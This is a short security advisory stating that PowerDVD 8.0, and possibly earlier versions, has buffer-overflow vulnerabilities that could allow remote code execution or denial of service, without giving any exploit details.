PowerDVD is prone to multiple buffer-overflow vulnerabilities because it fails to perform adequate boundary checks on user-supplied input.
Successfully exploiting these issues may allow remote attackers to execute arbitrary code in the context of the application. Failed exploit attempts will cause denial-of-service conditions.
PowerDVD 8.0 is vulnerable; prior versions may also be affected.
